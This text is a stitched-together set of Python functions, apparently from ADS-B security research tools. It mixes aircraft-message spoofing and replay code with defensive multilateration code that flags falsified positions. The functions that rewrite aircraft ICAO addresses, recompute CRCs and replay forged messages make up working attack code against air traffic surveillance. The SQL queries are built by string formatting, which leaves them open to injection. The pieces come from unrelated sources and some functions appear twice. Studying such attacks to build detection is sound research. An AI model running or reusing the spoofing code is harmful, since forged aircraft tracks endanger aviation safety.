def listen(self): """ Recupera as mensagens recebidas por ground station através do ADS-B In :return: None """ while True: message = self.adsbin.retrieve_msg() if message is None: time.sleep(0.2) else: if self.icao24_rewrite: icao24 = adsb_decoder.get_icao_addr(message) # Do not spoof our own spoofed messages if icao24 in self.icao24_spoofed and not self.flood: continue if icao24 not in self.icao24: new_icao24 = binascii.b2a_hex(os.urandom(3)) self.icao24.append(icao24) self.icao24_spoofed.append(new_icao24) self.icao24_table[icao24] = new_icao24 message = self.rewrite_icao24(message) t1 = threading.Thread(target=adsb_replay, args=(message, self.delay, self.adsbout)) t1.start()
def __get_declared_xy(self, ls_adsb_msg): """ get declared xy """ # get aircraft (ICAO24 address) ls_icao24 = str(dcdr.get_icao_addr(ls_adsb_msg)).upper() # airborne position msg type (9-18) ok ? if 8 < dcdr.get_tc(ls_adsb_msg) < 19: # get airborne position lf_lat, lf_lon, lf_alt = self.__decode_position( ls_icao24, ls_adsb_msg) #M_LOG.debug("declared_ll: {} / {} / {}".format(lf_lat, lf_lon, lf_alt)) # valid position ? if (lf_lat is not None) and (lf_lon is not None) and (lf_alt is not None): # convert lat/lng/alt to x, y, z return gutl.geog2ecef(lf_lat, lf_lon, lf_alt) # senão, already have a position ? elif ls_icao24 in self.__dct_lst_pos: # use last reported position as reference lf_lat, lf_lon, lf_alt = self.__dct_lst_pos[ls_icao24] #M_LOG.debug("declared_ll: {} / {} / {}".format(lf_lat, lf_lon, lf_alt)) # convert lat/lng/alt to x, y, z return gutl.geog2ecef(lf_lat, lf_lon, lf_alt) # return return None, None, None
def get_declared_xy(self, message): icao24 = decoder.get_icao_addr(message) # Checks for airborne position msg type if decoder.get_tc(message) in range(9, 19): lat, lon, alt = self.decode_position(message) if lat is not None and lon is not None: # x, y = self.latlon2xy(lat,lon) x, y, z = geoutils.geog2enu(lat, lon, alt, self.lat0, self.lon0, self.alt0) else: x = None y = None return x, y else: # Using last reported position as reference if icao24 in self.lastLatitude: lat = self.lastLatitude[icao24] lon = self.lastLongitude[icao24] alt = self.lastAltitude[icao24] x, y, z = geoutils.geog2enu(lat, lon, alt, self.lat0, self.lon0, self.alt0) else: x = None y = None return x, y
def run(self): """ Executa o cyber ataque. :return: """ logging.info(">> CyberAttack.run") self.__disclaimer() # Receive message ADS-B self.__o_adsbIn.run() # for all configured cyber attacks start simulation... for l_attack in self.__lst_cyber_attack: # start attack logging.debug("!! attack :[%s]" % l_attack) l_attack.start(self.__i_time_to_attack, self.__i_interval_to_attack) l_attack.set_position(self.__f_latitude, self.__f_longitude, self.__f_altitude) while True: logging.info("!! Retrieve message ADS-B.") ls_message = self.__o_adsbIn.retrieve_msg() if ls_message is None: time.sleep(0.2) else: logging.debug("!! message ADS-B: %s" % str(ls_message).upper()) # Retrieve ICAO code li_icao24 = AdsbDecoder.get_icao_addr(ls_message) # Do not handle fake messages if li_icao24 in self.__lst_icao24_fake: continue if li_icao24 not in self.__lst_icao24: self.__lst_icao24.append(li_icao24) logging.debug("!! List of ICAO 24 %s" % self.__lst_icao24) # eavesdropping ads-b messages self.__eavesdropping(li_icao24, ls_message) logging.debug("!! Table of aircraft %s" % self.__dct_aircraft_table) # for all configured cyber attacks... for l_attack in self.__lst_cyber_attack: # attack received ADS-B message logging.debug("!! attack :[%s]" % l_attack) l_attack.spy(self.__dct_aircraft_table, self.__lst_icao24_fake) logging.info("<< CyberAttack.run")
def rewrite_icao24(self, message): msg_icao24 = adsb_decoder.get_icao_addr(message) new_icao24 = self.icao24_table[msg_icao24] # Replace old ICAO address new_message_hex = message[0:2] + new_icao24 + message[8:22] new_message_bin = bin(int(new_message_hex, 16))[2:].zfill(24) # Re-calculate the CRC crc = adsb_utils.calc_crc(new_message_bin) crc_hex = hex(int(crc, 2)).rstrip("L").lstrip("0x") return new_message_hex + crc_hex
def __estimate_toa(self, fs_message): """ make a estimate of time of arrival """ # clear to go assert fs_message # split message llst_msg = fs_message.split() #M_LOG.debug("llst_msg: {}".format(llst_msg)) # ads-b message ls_msg_adsb = llst_msg[0] # received position lf_rcv_lat = float(llst_msg[1]) lf_rcv_lon = float(llst_msg[2]) lf_rcv_alt = float(llst_msg[3]) # get aircraft (ICAO24 address) ls_icao24 = str(dcdr.get_icao_addr(ls_msg_adsb)).upper() #M_LOG.debug(">>>>>>>>>>>>>>>>>>>> Aeronave: {} <<<<<<<<<<<<<<<<<<<<<<<<".format(ls_icao24)) #M_LOG.debug("position lat: {}, lng: {}, alt: {}".format(lf_rcv_lat, lf_rcv_lon, lf_rcv_alt)) # aircraft position (ECEF) lf_anv_x, lf_anv_y, lf_anv_z = gutl.geog2ecef(lf_rcv_lat, lf_rcv_lon, lf_rcv_alt) #M_LOG.debug("lf_anv_x: {}, lf_anv_y: {}, lf_anv_z: {}".format(lf_anv_x, lf_anv_y, lf_anv_z)) # convert lat/lng to enu #lf_flt_x, lf_flt_y, lf_flt_z = gutl.geog2enu(lf_rcv_lat, lf_rcv_lon, lf_rcv_alt, # self.__f_lat, self.__f_lng, self.__f_alt) #M_LOG.debug("lf_flt_x: {}, lf_flt_y: {}, lf_flt_z: {}".format(lf_flt_x, lf_flt_y, lf_flt_z)) # euclidean distance #lf_dist = math.sqrt(lf_flt_x * lf_flt_x + lf_flt_y * lf_flt_y + lf_flt_z * lf_flt_z) #M_LOG.debug("lf_dist: {}".format(lf_dist)) # 2D distance between aircraft and sensor positions #lf_dist_2d = math.sqrt(pow(lf_anv_x - self.__f_x, 2) + pow(lf_anv_y - self.__f_y, 2)) #M_LOG.debug("lf_dist_2d: {}".format(lf_dist_2d)) # 3D distance between aircraft and sensor positions lf_dist_3d = math.sqrt( pow(lf_anv_x - self.__f_x, 2) + pow(lf_anv_y - self.__f_y, 2) + pow(lf_anv_z - self.__f_z, 2)) #M_LOG.debug("lf_dist_3d: {}".format(lf_dist_3d)) # return ads-b message, estimated time (distance / speed of light) return ls_msg_adsb, lf_dist_3d / M_LIGHT_SPEED
def rewrite_icao24(self, message): """ Reescreve o código ICAO 24 bit code da mensagem ADS-B. E recalcula o CRC da mensagem ADS-B. :param message: a mensagem ADS-B :return: None """ msg_icao24 = adsb_decoder.get_icao_addr(message) new_icao24 = self.icao24_table[msg_icao24] # Replace old ICAO address new_message_hex = message[0:2] + new_icao24 + message[8:22] new_message_bin = bin(int(new_message_hex, 16))[2:].zfill(24) # Re-calculate the CRC crc = adsb_utils.calc_crc(new_message_bin) crc_hex = hex(int(crc, 2)).rstrip("L").lstrip("0x") return new_message_hex + crc_hex
def decode_position(self, message): # Aircraft (ICAO24 address) icaoaddr = decoder.get_icao_addr(message) # Check if message is even or odd if int(decoder.get_oe_flag(message)) == MlatServer.ODD_MSG: self.lastOddMsg[icaoaddr] = message t0 = 0 t1 = 1 else: self.lastEvenMsg[icaoaddr] = message t0 = 1 t1 = 0 if icaoaddr in self.lastOddMsg and icaoaddr in self.lastEvenMsg: # If CPR cannot be decoded, the method returns (None, None) _lat, _lon = decoder.get_position(self.lastEvenMsg[icaoaddr], self.lastOddMsg[icaoaddr], t0, t1) if _lat and _lon: lat = _lat lon = _lon alt = decoder.get_alt(message) * self.FT_TO_M self.lastLatitude[icaoaddr] = lat self.lastLongitude[icaoaddr] = lon self.lastAltitude[icaoaddr] = alt return lat, lon, alt else: print bcolors.WARNING + "Warning: cannot decode position message" + bcolors.ENDC return None, None, None return None, None, None
def process_msg(self, message, delete=False): icao24 = decoder.get_icao_addr(message) cursor = self.db.cursor() # Checking which sensors have received the same message query1 = "SELECT id, sensor_id, toa, created FROM adsb_messages WHERE message='%s' ORDER BY created ASC LIMIT %s" % ( message, self.nsensors) nrows = cursor.execute(query1) rows = cursor.fetchall() if nrows == 0: if delete: cursor.execute("DELETE FROM adsb_messages WHERE message='%s'" % message) self.db.commit() return False # Message ID msg_id = [0] * nrows # Sensor ID sensor_id = [0] * nrows # Time of arrival toa = [0] * nrows # Position of sensor xpos = [0] * nrows ypos = [0] * nrows zpos = [0] * nrows i = 0 for row in rows: # Time of arrival toa[i] = row[2] # Sensor ID sensor_id[i] = row[1] # Message ID msg_id[i] = row[0] # Location of sensor xpos[i] = self.sensors[sensor_id[i]].xpos ypos[i] = self.sensors[sensor_id[i]].ypos zpos[i] = self.sensors[sensor_id[i]].altitude i += 1 # Do not process it with insufficient data if nrows < self.nsensors: # Deleting messages from database if delete: for i in msg_id: cursor.execute("DELETE FROM adsb_messages WHERE id=%s" % i) return False # Verifying declared position (in X, Y) x, y = self.get_declared_xy(message) # Determining source of transmission using multilateration _x, _y = self.get_estimated_xy(xpos, ypos, zpos, toa) # Determining reliability of message if x is not None and y is not None and _x is not None and _y is not None: # 2D distance between reported and estimated positions distance = math.sqrt((x - _x)**2 + (y - _y)**2) if distance <= 1000: print "'%s'\t%d\t%s[PASS]%s" % (message, distance, bcolors.OKBLUE, bcolors.ENDC) self.logger.info( "'%s'\t%d\t%s[PASS]%s" % (message, distance, bcolors.OKBLUE, bcolors.ENDC)) # Forward received ADS-B message to all configured forwarders for f in self.forwarders: f.forward(message, None) else: print "'%s'\t%d\t%s[DROP]%s" % (message, distance, bcolors.FAIL, bcolors.ENDC) self.logger.warn( "'%s'\t%d\t%s[DROP]%s" % (message, distance, bcolors.FAIL, bcolors.ENDC)) # Deleting processed messages from database for i in msg_id: cursor.execute("DELETE FROM adsb_messages WHERE id=%s" % i) self.db.commit() cursor.close() return True